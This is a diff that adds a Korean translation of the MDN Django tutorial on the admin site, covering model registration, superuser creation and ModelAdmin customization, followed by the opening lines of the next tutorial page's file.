+<p> 장고의 관리자 어플리케이션은 모델을 사용하여 당신이 만들고, 보고, 업데이트하고, 그리고 삭제하는 데에 사용할 수 있는 사이트 영역을 자동적으로 만드는 데에 사용할 수 있습니다. 이는 당신이 시간을 많이 절약할 수 있도록 돕고, 모델을 쉽게 테스트 할 수 있게 하며 당신이 정확한 데이터를 가지고 있다는 느낌을 가질수 있도록 돕습니다. 관리자 어플리케이션은 또한 웹 사이트의 유형에 따라 production의 데이터를 관리하는 데 유용합니다. 모델 중심 접근 방식은 모델에 관한 많은 불필요한 세부 사항을 사용자들에게 노출하는, 모든 사용자들에게 가장 좋은 방식이라고 말할 수 없기 때문에, 장고 프로젝트는 internal 데이터 관리만을(즉, 관리자, 또는 당신의 조직 안에 있는 사람들을 위한 사용만을) 위해서 사용하는 것을 추천합니다.</p>
+
+<p> 웹사이트 안에 관리자 어플리케이션을 포함시키기 위해 요구되는 모든 설정은 <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">created the skeleton project</a>를 생성했을 때 자동적으로 완료됩니다(실제 종속성에 대한 정보는, 여기 <a href="https://docs.djangoproject.com/en/2.0/ref/contrib/admin/">Django docs here</a>를 확인하세요). 결과적으로, 모델을 관리자 어플리케이션에 추가하기 위해서 <strong>꼭 해야만</strong> 하는 것은 그것들을 등록하는(register) 것입니다. 이 글의 마지막에서 모델 데이터를 더 잘 나타내기 위한 관리자 영역의 추가적인 설정을 짧게 보여드리겠습니다.</p>
+
+<p>모델을 등록한 뒤로는 새로운 "superuser"를 만들어서 사이트에 로그인을 하며, 이후에는 books, 저자, book instances 그리고 장르를 만들 것입니다. 이것들은 다음 튜토리얼에서 만들기 시작할 뷰와 템플릿을 테스트할 때 유용할 것입니다.</p>
+
+<h2 id="Models_등록하기">Models 등록하기</h2>
+
+<p>첫째, catalog 어플리케이션 안의 <strong>admin.py</strong> 파일을 여세요 (<strong>/locallibrary/catalog/admin.py</strong>). 다음과 같을 겁니다 — <code>django.contrib.admin</code>을 이미 imoprt하고 있다는 것에 주의하세요:</p>
+
+<pre class="brush: python">from django.contrib import admin
+
+# Register your models here.
+</pre>
+
+<p> 파일의 하단에 아래 텍스트를 복사 붙여넣기 해서 모델을 등록(register)하세요. 이 코드는 모델들을 import하고 그것들을 등록하기 위해 <code>admin.site.register</code> 를 호출합니다.</p>
+
+<pre class="brush: python">from catalog.models import Author, Genre, Book, BookInstance
+
+admin.site.register(Book)
+admin.site.register(Author)
+admin.site.register(Genre)
+admin.site.register(BookInstance)
+</pre>
+
+<div class="note"><strong> 주의</strong>: 책의 언어를 나타내기 위한 모델을 생성하는 도전과제를 수행했다면 (<a href="/en-US/docs/Learn/Server-side/Django/Models">see the models tutorial article</a>), 그 모델도 import 한 후 등록하세요!</div>
+
+<p> 이것은 모델이나 모델들을 사이트에 등록(register)하는 가장 간단한 방법입니다. 관리자 사이트는 커스터마이즈 범위가 넓고, 아래에서 모델을 등록하는 다른 방법들에 관해 다르겠습니다.</p>
+
+<h2 id="Superuser_만들기">Superuser 만들기</h2>
+
+<p> 관리자 사이트에 로그인하기 위해서는, 직원(<em>Staff)</em> 상태가 활성화 된 사용자 계정이 있어야 합니다. 레코드들을 보고 생성하기 위해서는 이 사용자가 모든 객체들을 관리하기 위한 허가가 있어야 합니다.  사이트에 대한 모든 접속 권한과 필요한 허가를 가진 "superuser" 계정을 manage.py를 사용해서만들 수 있습니다. </p>
+
+<p>superuser를 생성하기 위해<strong> manage.py</strong>와 같은 경로 안에서 아래 명령어를 호출하세요. username, 이메일 주소, 그리고 강력한 비밀번호를 입력해야 할 것입니다.</p>
+
+<pre class="brush: bash">python3 manage.py createsuperuser
+</pre>
+
+<p> 이 명령어가 완료되면 새로운 superuser가 데이터베이스에 추가되었을 것입니다. 이제 로그인을 테스트할 수 있도록 개발 서버를 재시작 하세요:</p>
+
+<pre class="brush: bash">python3 manage.py runserver
+
+</pre>
+
+<h2 id="관리자_계정에_로그인하기">관리자 계정에 로그인하기</h2>
+
+<p> 사이트에 로그인하기 위해서는, /admin URL(예: <a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin</a>)을 열어서 새로운 superuser의 userid와 password를 입력하세요(세부 정보를 입력한 후에는 로그인 페이지로 리디렉션되고 /admin URL로 돌아갑니다).</p>
+
+<p> 이곳은 설치된 어플리케이션에 따라 그룹지어진 모든 모델들을 보여줍니다. 모델 이름을 클릭해서 모든 관련 레코드들의 목록을 볼 수 있고, 그 목록들을 클릭하여 수정할 수 있습니다. 또한 모델 오른쪽의 <strong>Add</strong> 링크를 클릭하여 그 타입의 레코드를 곧바로 생성할 수 있습니다.</p>
+
+<p><img alt="Admin Site - Home page" src="https://mdn.mozillademos.org/files/13975/admin_home.png" style="display: block; height: 634px; margin: 0px auto; width: 998px;"></p>
+
+<p><strong> </strong>Books 모델 오른쪽의<strong> Add</strong> 링크를 클릭해서 새로운 책을 만드세요(아래와 같은 화면이 보일 것입니다). 각 필드의 제목, 사용된 위젯의 타입 그리고 <code>help_text</code>(있는 경우)가 모델 안에서 지정한 값과 일치하는 방식에 유의하세요. </p>
+
+<p> 필드에 값들을 입력하세요. 해당 필드 옆에 있는 <strong>+</strong> 버튼을 눌러 새로운 저자나 장르를 생성할 수 있습니다 (이미 생성했다면 목록에서 값을 선택하세요). 모두 완료했다면 레코드를 저장하기 위해 <strong>SAVE</strong>, <strong>Save and add another</strong> 또는 <strong>Save and continue editing</strong>을 클릭할 수 있습니다.</p>
+
+<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p>
+
+<div class="note">
+<p><strong> 주의</strong>: 이 지점에서 어플리케이션에 몇 가지 책들, 저자 그리고 장르(예: 판타지)를 추가하면서 시간을 보내보세요. 각각 저자와 장르에 서로 다른 두 가지 책이 포함되어 있는지 확인하세요 (이렇게 하면 나중에 리스트(list)와 디테일 뷰(detail view)들을 구현할 때 그것들을 더욱 흥미롭게 만들어 줍니다).</p>
+</div>
+
+<p> 책을 추가했다면, 상단 북마크 안의 <strong>Home</strong> 링크를 클릭해서 관리자 페이지로 되돌아가세요. 그리고 <strong>Books </strong>링크를 클릭해서 책들의 현재 목록을 나타내세요(아니면 다른 링크를 클릭해서 다른 모델의 목록을 보세요). 이제 몇 가지 책을 추가했으니, 목록은 아래 스크린샷과 비슷하게 보일 겁니다. 각 책의 제목이 보입니다; 이것은 지난 글에서 다뤘던 Book 모델의 <code>__str__()</code> 메소드가 반환한 값입니다.</p>
+
+<p><img alt="Admin Site - List of book objects" src="https://mdn.mozillademos.org/files/13935/admin_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 407px; margin: 0px auto; width: 1000px;"></p>
+
+<p> 이 리스트에서 원하지 않는 책의 왼쪽에 있는 체크박스를 선택하고, Action 드랍-다운 목록에서 delete... 동작을 선택한 후, <strong>Go</strong> 버튼을 클릭해 책을 삭제할 수 있습니다. 또한 <strong>ADD BOOK</strong> 버튼을 클릭해서 새로운 책들을 추가할 수 있습니다. </p>
+
+<p> 링크 안의 책 이름을 선택해서 책을 편집할 수 있습니다. 아래에 보여지는 책 모델의 편집 페이지는 "Add" 페이지와 거의 동일합니다. 페이지의 제목 (<em>Change book</em>)과 <strong>Delete</strong>, <strong>HISTORY</strong> 그리고 <strong>VIEW ON SITE</strong> 버튼들의 추가가 큰 차이점입니다(마지막 버튼은 모델에서 <code>get_absolute_url()</code> 메소드를 정의했기 때문에 나타납니다).</p>
+
+<p><img alt="Admin Site - Book Edit" src="https://mdn.mozillademos.org/files/13977/admin_book_modify.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p>
+
+<p>이제 <strong>Home</strong> 페이지로 되돌아가서 (홈 링크를 사용해서) <strong>Author</strong> 와 <strong>Genre</strong> 목록들을 보세요 — 새로운 책들을 추가하면서 이미 몇 가지 목록들이 있겠지만, 조금 더 추가해도 됩니다.</p>
+
+<p> 아직 가지고 있지 않은 것은 Book Instance들입니다. 왜냐하면 Books에서 만들어지지 않았기 때문이죠( <code>BookInstance</code>에서 <code>Book</code>을 만들 수 있긴 하지만 — 이것은 <code>ForeignKey</code> 필드의 특성입니다). Home 페이지로 되돌아가서 연관된<strong> 추가(Add)</strong>버튼을 눌러 아래의 Add book Instance 화면을 나타내세요. 크고 전역적으로 고유한 id에 주의하세요. 이것은 도서관에서 한 권의 책을 개별적으로 식별하는 데 사용할 수 있습니다.</p>
+
+<p><img alt="Admin Site - BookInstance Add" src="https://mdn.mozillademos.org/files/13981/admin_bookinstance_add.png" style="border-style: solid; border-width: 1px; display: block; height: 514px; margin: 0px auto; width: 863px;"></p>
+
+<p> 각각의 책마다 여러 개의 레코드를 만드세요. 상태(Status)를 최소한 몇 개의 레코드는 대여 가능(Available)로 설정하고, 나머지는 대여 중(On loan)으로 설정하세요. 만약 상태가 대여 불가능(<strong>not</strong> Available)이면, 만기 날짜도 같이 설정하세요.</p>
+
+<p>이게 끝입니다! 관리자 사이트를 어떻게 설정하고 사용하는지 배웠습니다. 또한 <code>Book</code>, <code>BookInstance</code>, <code>Genre</code>, 그리고 <code>Author</code> 에 대한 레코드들을 생성했고, 뷰와 탬플릿을 생성할 때 이 레코드들을 사용할 수 있을 것입니다.</p>
+
+<h2 id="추가_설정(Advanced_configuration)">추가 설정(Advanced configuration)</h2>
+
+<p> 장고는 등록된(registered) 모델의 정보를 사용하여 기본적인 관리자 사이트를 만드는 일을 꽤 잘합니다:</p>
+
+<ul>
+ <li>각각의 모델은 모델의 <code>__str__()</code> 메소드로 생성된 문자열로 식별되는, 그리고 편집을 위한 세부 정보(detail views)/양식(forms)에 링크되어 있는 개별적인 레코드들의 목록을 가지고 있습니다. 기본적으로, 이 화면은 레코드에 대한 대량 삭제 작업을 수행할 수 있는 액션 메뉴를 상단에 가지고 있습니다.</li>
+ <li>레코드의 편집과 추가를 위한 모델 디테일 레코드 양식들은 모델 안의 모든 필드를 포함하고 있고, 그것들의 선언 순서에 따라 수직으로 배치되어 있습니다.  </li>
+</ul>
+
+<p> 사용하기 더욱 편하도록 인터페이스를 추가적으로 사용자화 할 수 있습니다. 당신이 할 수 있는 몇 가지 일은:</p>
+
+<ul>
+ <li>목록 뷰(List views):
+  <ul>
+   <li>각각의 레코드에 표시되는 추가적인 필드/정보를 추가하기. </li>
+   <li>날짜나 다른 선택 값(예: 책의 대여 상태)에 기초해서 어떤 레코드들이 목록지어질 지 선택하는 필터들 추가하기.</li>
+   <li>목록 뷰(list views) 안의 동작 메뉴(actions menu)에 추가적인 옵션을 추가하고 이 메뉴가 양식 위의 어디에 보여져야 할 지 선택하기.</li>
+  </ul>
+ </li>
+ <li>세부 뷰(Detail views):
+  <ul>
+   <li>표시할(혹은 제외할)필드, 따를 순서, 그루핑, 편집 가능할지 여부, 사용될 위젯, 방향(orientation) 등등을 선택하기.</li>
+   <li>인라인 편집(inline editing)기능을 넣기 위해 관련된 필드들을 레코드에 추가하기(예: 책 레코드의 저자 레코드를 생성하는 동안 책 레코드를 추가하고 편집할 수 있는 기능을 추가하기).</li>
+  </ul>
+ </li>
+</ul>
+
+<p> 이 글에서는 LocalLibrary의 인터페이스를 향상시키기 위한 몇 가지 변경점을 알아볼 겁니다. 그것들은 <code>Book</code>과 <code>Author</code> 모델 목록에 더 많은 정보를 추가하고, 그리고 그것들의 편집 보기(edit views)의 레이아웃을 향상시키는 것을 포함합니다. <code>Language</code> 와 <code>Genre</code> 모델은 변경하지 않을 겁니다. 그들은 각각 하나의 필드만을 갖고 있기 때문에 변경하는 것에 대한 이득이 없습니다!</p>
+
+<p> 모든 관리자 사이트 사용자화(customisation) 선택들(choices)의 완벽한 레퍼런스(reference)를 <a href="https://docs.djangoproject.com/en/2.0/ref/contrib/admin/">The Django Admin site</a>(장고 문서)에서 찾을 수 있습니다.</p>
+
+<h3 id="ModelAdmin_클래스_등록하기">ModelAdmin 클래스 등록하기</h3>
+
+<p>관리자 인터페이스에서 모델이 보여지는 방식을 바꾸고 싶다면 <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#modeladmin-objects">ModelAdmin</a> 클래스(레이아웃을 나타내는)를 정의한 후 모델 안에 등록합니다.</p>
+
+<p> <code>Author</code> 모델부터 시작해 봅시다. catalog 어플리케이션의 <strong>admin.py</strong> 파일을 여세요 (<strong>/locallibrary/catalog/admin.py</strong>). 원래 있던 <code>Author</code> 모델에 대한 등록(registration)을 주석처리(#를 앞에 붙여서) 하세요:</p>
+
+<pre class="brush: js"># admin.site.register(Author)</pre>
+
+<p>이제 아래와 같이 새로운 <code>AuthorAdmin</code> 과 그것의 등록(registration)을 추가하세요.</p>
+
+<pre class="brush: python"># Define the admin class
+class AuthorAdmin(admin.ModelAdmin):
+    pass
+
+# Register the admin class with the associated model
+admin.site.register(Author, AuthorAdmin)
+</pre>
+
+<p> 이제 우리는<code> Book</code> 그리고 <code>BookInstance</code>를 위한 <code>ModelAdmin</code> 클래스를 추가할 겁니다. 또다시 원본 등록(registrations)를 주석처리 해야 합니다:</p>
+
+<pre class="brush: js"># admin.site.register(Book)
+# admin.site.register(BookInstance)</pre>
+
+<p>이제 새로운 모델들을 생성하고 등록하기 위해서; 이것의 설명을 위해, 우리는 모델들을 등록(register)하기 위해 <code>@register</code> 데코레이터(decorator)를 대신 사용합니다(이것은 <code>admin.site.register()</code> 구문과 정확히 똑같은 일을 합니다):</p>
+
+<pre class="brush: python"># Register the Admin classes for Book using the decorator
+@admin.register(Book)
+class BookAdmin(admin.ModelAdmin):
+    pass
+
+# Register the Admin classes for BookInstance using the decorator
+@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    pass
+</pre>
+
+<p> 현재 모든 관리자 클래스들은 비어있기 때문에("<code>pass"</code>를 보세요) 관리자 행동은 바뀌지 않았을 것입니다! 이제 우리는 모델 고유의 관리자 행동(behaviour)을 정의하기 위해 이것들을 확장할 수 있습니다.</p>
+
+<h3 id="목록_뷰(list_view)들을_설정하기">목록 뷰(list view)들을 설정하기</h3>
+
+<p>현재 Locallibrary는 모델의 <code>__str__()</code> 메소드에서 생성되는 객체 이름을 사용하여 모든 저자들을 목록짓습니다. 이것은 단지 몇 명의 저자만 있을 때는 괜찮지만, 수많은 저자가 있을 때는 겹치는 이름의 서로 다른 저자가 있을 겁니다. 그것들을 구분하거나, 아니면 그저 각각의 저자마다 흥미로운 정보를 보여주고 싶다면, <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.list_display">list_display</a> 를 사용해서 view에 추가적인 필드를 추가할 수 있습니다. </p>
+
+<p>아래 코드로 <code>AuthorAdmin</code> 클래스를 대체하십시오. 목록에 선언될 이름들은 필요한 순서대로 튜플(tuple)로 선언됩니다, 아래에 보시는 것 처럼요(이것들은 원래 모델에서 특정된 것과 같은 이름들입니다).</p>
+
+<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin):
+    list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
+</pre>
+
+<p> 이제 웹사이트 안의 저자 목록으로 이동하세요. 위의 필드들이 아래와 같이 보여질 것입니다:</p>
+
+<p><img alt="Admin Site - Improved Author List" src="https://mdn.mozillademos.org/files/14023/admin_improved_author_list.png" style="border-style: solid; border-width: 1px; display: block; height: 302px; margin: 0px auto; width: 941px;"></p>
+
+<p>우리의 <code>Book</code> 모델을 위해서 추가적으로 <code>author</code> 그리고 <code>genre</code>를 표시해 봅시다. <code>author</code>는 <code>Foreignkey</code> 필드 관계(일-대-다)이기 때문에, 관련된 레코드의 <code>__str__()</code> 값에 의해 나타내어질 것입니다. 아래의 버전으로 <code>BookAdmin</code> 클래스를 대체하세요.</p>
+
+<pre class="brush: python">class BookAdmin(admin.ModelAdmin):
+    list_display = ('title', 'author', 'display_genre')
+</pre>
+
+<p> 불행하게도 <code>genre</code> 필드는 <code>ManyToManyField</code>이기 때문에 <code>list_display</code>에 직접적으로 특정할 수 없습니다.(거대한 데이터베이스 접근 "비용"이 발생할 수 있기 때문에 장고는 이것을 방지합니다). 대신 정보를 문자열로 받기 위해서 <code>display_genre</code> 함수를 정의할 겁니다(이것이 위에서 호출한 함수입니다; 아래에서 함수를 정의하겠습니다).</p>
+
+<div class="note">
+<p><strong>주의</strong>: <code>genre</code> 를 가져오는 것은 좋은 생각이 아닙니다. 왜냐하면 데이터베이스 작동의 "비용"이 너무 높기 때문입니다. 모델 안의 호출 함수들이 다른 이유로도 굉장히 유용하기 때문에 — 예를 들자면 리스트 안의 모든 항목에 delete 링크를 추가하는 것 처럼요.</p>
+</div>
+
+<p>아래 코드를 <code>Book</code> 모델(<strong>models.py</strong>) 안에 추가하세요. 이것은 <code>genre</code> 필드의 첫 세 가지 값들의 문자열을 생성합니다(만약 존재한다면요) 그리고 이 메소드를 위해 관리자 사이트에서 사용될 수 있는 <code>short_description</code> 을 만듭니다.</p>
+
+<pre class="brush: python">    def display_genre(self):
+        """Create a string for the Genre. This is required to display genre in Admin."""
+        return ', '.join(genre.name for genre in self.genre.all()[:3])
+
+    display_genre.short_description = 'Genre'
+</pre>
+
+<p> 모델을 저장하고 관리자를 업데이트 했다면, 웹사이트를 열어서 Books 목록 페이지로 이동하세요; 아래와 같은 책 리스트가 있을 것입니다:</p>
+
+<p><img alt="Admin Site - Improved Book List" src="https://mdn.mozillademos.org/files/14025/admin_improved_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 337px; margin: 0px auto; width: 947px;"></p>
+
+<p><code>Genre</code> 모델 (그리고 <code>Language</code> 모델도, 정의했다면) 은 단일 필드를 갖고 있기 때문에, 추가적인 필드를 보여주기 위해 추가적인 모델을 생성하는 것은 의미가 없습니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 최소한 상태 그리고 예상되는 반납일을 보여주는 <code>BookInstance</code> 모델 목록을 업데이트 해봅시다 . 이것은 이 글의 마지막에 도전 과제로 추가되어 있습니다!</p>
+</div>
+
+<h3 id="목록_필터_추가하기">목록 필터 추가하기</h3>
+
+<p> 목록 안에 있는 항목들이 아주 많다면, 그 중에 어떤 항목들만이 표시될 지 정할 수 있는 필터를 추가하는 것이 유용합니다. 이것은 <code>list_filter</code> 속성 안에서 필드들을 목록지어서 완료됩니다. 현재 <code style="font-style: normal; font-weight: normal;">BookInstanceAdmin</code> 클래스를 아래 코드 조각으로 대체하십시오.</p>
+
+<pre class="brush: python">class BookInstanceAdmin(admin.ModelAdmin):
+<strong>    list_filter = ('status', 'due_back')</strong>
+</pre>
+
+<p> 목록 뷰(list view)는 이제 오른쪽에 필터 상자를 갖고 있을 겁니다. 값을 필터링하기 위해 날짜와 상태를 선택하는 방법에 주의하세요:</p>
+
+<p><img alt="Admin Site - BookInstance List Filters" src="https://mdn.mozillademos.org/files/14037/admin_improved_bookinstance_list_filters.png" style="height: 528px; width: 960px;"></p>
+
+<h3 id="세뷰_보기_레이아웃(detail_view_layout)_조직하기">세뷰 보기 레이아웃(detail view layout) 조직하기</h3>
+
+<p> 기본적으로, detail view들은 모든 필드들을 모델에 선언된 순서대로, 수직적으로 배치합니다.  당신은 선언 순서, 표시될(혹은 제외될) 필드들, 섹션들이 정보들을 조직하는 데 사용될 지 여부, 필드들이 수직적 또는 수평적으로 표시될 지 여부 그리고 심지어 관리자 양식에서 어떤 편집 위젯이 사용될 지 까지 변경할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: LocalLibrary 모델은 상대적으로 간단하기 때문에 레이아웃을 변경할 큰 필요성이 없습니다; 그러나 방법을 보여드리기 위해, 몇 가지 변경점을 만들 것입니다.</p>
+</div>
+
+<h4 id="어떤_필드들이_보여지고_배치될_지_제어하기">어떤 필드들이 보여지고 배치될 지 제어하기</h4>
+
+<p>아래와 같이 <code>fields</code> 줄(굵은 글씨)을 추가하기 위해 <code>AuthorAdmin</code> 클래스를 업데이트 하세요:</p>
+
+<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin):
+    list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
+<strong>    fields = ['first_name', 'last_name', ('date_of_birth', 'date_of_death')]</strong>
+</pre>
+
+<p><code>fields</code> 속성은 양식에 보여져야 할 필드들만을 순서대로 목록짓습니다. 필드들은 기본적으로 수직적으로 표시되지만, 추가적으로 그것들을 튜플 안에 그룹짓는다면 수평적으로 표시됩니다(위의 "date" 필드처럼요).</p>
+
+<p>웹사이트 안에서 저자 세부 사항 뷰로 이동하세요 — 이제 아래와 같이 보일겁니다:</p>
+
+<p><img alt="Admin Site - Improved Author Detail" src="https://mdn.mozillademos.org/files/14027/admin_improved_author_detail.png" style="border-style: solid; border-width: 1px; display: block; height: 282px; margin: 0px auto; width: 928px;"></p>
+
+<div class="note">
+<p><strong>주의</strong>: 당신은 또한 양식(form)에서 제외되어야 할 속성들의 목록을 선언하기 위해 <code>exclude</code> 속성을 사용할 수 있습니다 (모델 안의 다른 모든 속성들이 표시될 겁니다). </p>
+</div>
+
+<h4 id="세부_뷰_구역_나누기(Sectioning_the_detail_view)">세부 뷰 구역 나누기(Sectioning the detail view)</h4>
+
+<p><a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.fieldsets">fieldsets</a> 속성을 사용하여, 세부 양식 안의 연관된 모델 정보를 그룹화하기 위해 "sections"를 추가할 수 있습니다.</p>
+
+<p> <code>BookInstance</code> 안에서, 우리는 책이 무엇인지 (i.e. <code>name</code>, <code>imprint</code>, and <code>id</code>) 그리고 이것을 언제 빌릴 수 있는지 (<code>status</code>, <code>due_back</code>)에 대한 정보를 가지고 있습니다. 우리는 <code>BookInstanceAdmin</code> 클래스에 굵게 표시된 텍스트를 추가하여 이것들을 각각 다른 구역에 추가할 수 있습니다. </p>
+
+<pre class="brush: python">@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    list_filter = ('status', 'due_back')
+
+<strong>    fieldsets = (
+        (None, {
+            'fields': ('book', 'imprint', 'id')
+        }),
+        ('Availability', {
+            'fields': ('status', 'due_back')
+        }),
+    )</strong></pre>
+
+<p>각각의 섹션엔 고유한 제목(또는 제목을 원하지 않을 경우, <code>None</code>) 그리고 사전의 필드와 관련된 튜플이 있습니다 — 양식(format)은 묘사하기 복잡하지만, 바로 위의 코드 조각을 본다면 이해하기 상당히 쉽습니다.</p>
+
+<p>이제 웹사이트 안의 book instance view로 이동하세요; 이제 아래와 같은 양식이 보일겁니다:</p>
+
+<p><img alt="Admin Site - Improved BookInstance Detail with sections" src="https://mdn.mozillademos.org/files/14029/admin_improved_bookinstance_detail_sections.png" style="border-style: solid; border-width: 1px; display: block; height: 580px; margin: 0px auto; width: 947px;"></p>
+
+<h3 id="연관_레코드들의_인라인_편집(Inline_editing_of_associated_records)">연관 레코드들의 인라인 편집(Inline editing of associated records)</h3>
+
+<p>때때로 연관된 레코드들을 동시에 추가하는 것이 가능할 때도 있습니다. 예를 들어, 세부 사항 페이지에서 책 정보 그리고 특정한 복사본에 대한 정보 둘 다 가질 수도 있습니다.</p>
+
+<p>이것은 <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.inlines">inlines</a>를 선언해서 할 수 있고, <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> (수평적 레이아웃)타입 또는 <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.StackedInline">StackedInline</a> (기본 모델 레이아웃과 같은 수직적 레이아웃)을 선택할 수 있습니다. 아래 <code>BookAdmin</code> 근처의 굵게 표시된 줄을 추가하여 <code>BookInstance</code> 정보 인라인을 <code>Book</code> 세부 사항(detail)에 추가할 수 있습니다:</p>
+
+<pre class="brush: python"><strong>class BooksInstanceInline(admin.TabularInline):
+    model = BookInstance</strong>
+
+@admin.register(Book)
+class BookAdmin(admin.ModelAdmin):
+    list_display = ('title', 'author', 'display_genre')
+<strong>    inlines = [BooksInstanceInline]</strong>
+</pre>
+
+<p> 이제 웹사이트의 <code>Book</code> 을 위한 화면으로 이동하세요 — 화면의 하단에서 이제 이 책과 연관된 책 인스턴스(book instances)를 볼 수 있을 겁니다(책의 장르 필드 바로 아래에):</p>
+
+<p><img alt="Admin Site - Book with Inlines" src="https://mdn.mozillademos.org/files/14033/admin_improved_book_detail_inlines.png" style="border-style: solid; border-width: 1px; display: block; height: 889px; margin: 0px auto; width: 937px;"></p>
+
+<p> 이 경우 우리는 인라인된 모델의 모든 필드들을 추가하는, 테이블화된 인라인 클래스를 선언했습니다. 레이아웃을 위해 모든 종류의 추가적인 정보들을 지정할 수 있습니다. 표시할 필드, 그것들의 순서, 그것들이 읽기 전용인지 아닌지, 등등을 포함해서요. (더 많은 정보를 위해 <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> 를 보세요). </p>
+
+<div class="note">
+<p><strong>주의</strong>: 이 기능에는 몇 가지 고통스러운 한계가 있습니다! 위의 스크린샷에서 우리는 이미 존재하는 세 개의 책 인스턴스(book instance)와 그 아래에 새로운 책 인스턴스를 위한 세 개의 플레이스홀더(placeholder)를 가지고 있습니다(아주 비슷하게 보이지요!). 기본값으로 예비 책 인스턴스를 위한 플레이스를 홀더를 가지지 <strong>않고 </strong>새로운 북 인스턴스마다 <strong>새로운 북 인스턴스 링크 하나씩</strong> 추가하는 것이 좋습니다. 또는 <code>BookInstance</code>를 여기서는 읽기 불가(non-readable) 링크로 목록화하는 것도 좋구요. 전자는<code> BookInstanceInline</code> 모델 안의 <code>extra</code> 속성을 0으로 설정하여 완료할 수 있습니다. 직접 해보세요.</p>
+</div>
+
+<h2 id="도전_과제">도전 과제</h2>
+
+<p>이 섹션에서 많은 것을 배웠기 때문에, 이젠 직접 몇 가지를 도전해 볼 차례입니다.</p>
+
+<ol>
+ <li><code>BookInstance</code> 목록 뷰에 책, 상태, 만기 날짜, 그리고 id(book, status, due back date, id)를 표시하기 위한 코드를 추가해 보세요(기본<code> __str__()</code> 텍스트 가 아닌).</li>
+ <li>Book/BookInstance에서 했던 것고 같은 접근법을 사용해서 Author 세부 사항 뷰에 Book 항목들의 인라인 목록(Inline listing)을 추가해 보세요.</li>
+</ol>
+
+<ul>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<p>이게 답니다! 이제 관리자 사이트를 어떻게 설정하는지에 대해 가장 간단한 방법으로 그리고 발전된 방법으로도 배웠습니다. superuser 만드는 방법, 관리자 사이트와 뷰들을 이동하는 방법, 레코드를 삭제 및 업데이트하는 방법 등등을 배웠습니다. 지금까지 여러 Books, BookInstances, Genres 그리고 Authors를 만들었고, 이것들은 우리가 우리만의 view와 탬플릿들을 만들었을 때 그곳에 목록화하여 나타낼 수 있을 것입니다.</p>
+
+<h2 id="추가_자료">추가 자료</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial02/#introducing-the-django-admin">Writing your first Django app, part 2: Introducing the Django Admin</a>  (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/contrib/admin/">The Django Admin site</a> (Django Docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</p>
+
+
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/ko/learn/server-side/django/authentication/index.html b/files/ko/learn/server-side/django/authentication/index.html
new file mode 100644
index 0000000000..44bb932043
--- /dev/null
+++ b/files/ko/learn/server-side/django/authentication/index.html
@@ -0,0 +1,707 @@
+---
+title: 'Django Tutorial Part 8: User authentication and permissions'
+slug: Learn/Server-side/Django/Authentication
+translation_of: Learn/Server-side/Django/Authentication
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</div>
+
